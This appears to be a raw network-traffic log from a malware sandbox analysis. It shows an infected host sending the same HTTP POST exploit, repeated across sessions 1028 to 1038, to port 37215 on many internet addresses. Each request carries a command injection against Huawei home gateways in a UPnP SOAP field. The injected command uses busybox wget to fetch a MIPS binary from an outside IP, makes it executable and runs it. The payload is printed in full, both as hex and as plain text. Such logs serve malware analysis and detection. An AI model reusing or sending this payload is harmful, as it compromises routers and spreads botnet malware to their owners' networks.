65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.13	51266	41.49.7.245	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.527067900 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.13	60734	41.106.253.136	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.530147076 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.13	51128	197.123.213.154	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.533504009 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.13	41752	41.254.225.155	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.536799908 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.13	37994	41.246.131.200	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.540298939 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.13	57874	41.229.32.144	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.543684959 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.13	34398	156.176.147.106	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.547568083 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.13	37444	197.197.45.141	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.551109076 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.13	43252	156.44.242.221	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.555468082 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.13	36402	156.38.237.181	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.557677984 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.13	47570	41.183.239.68	37215

Timestamp	Bytes transferred	Direction	Data
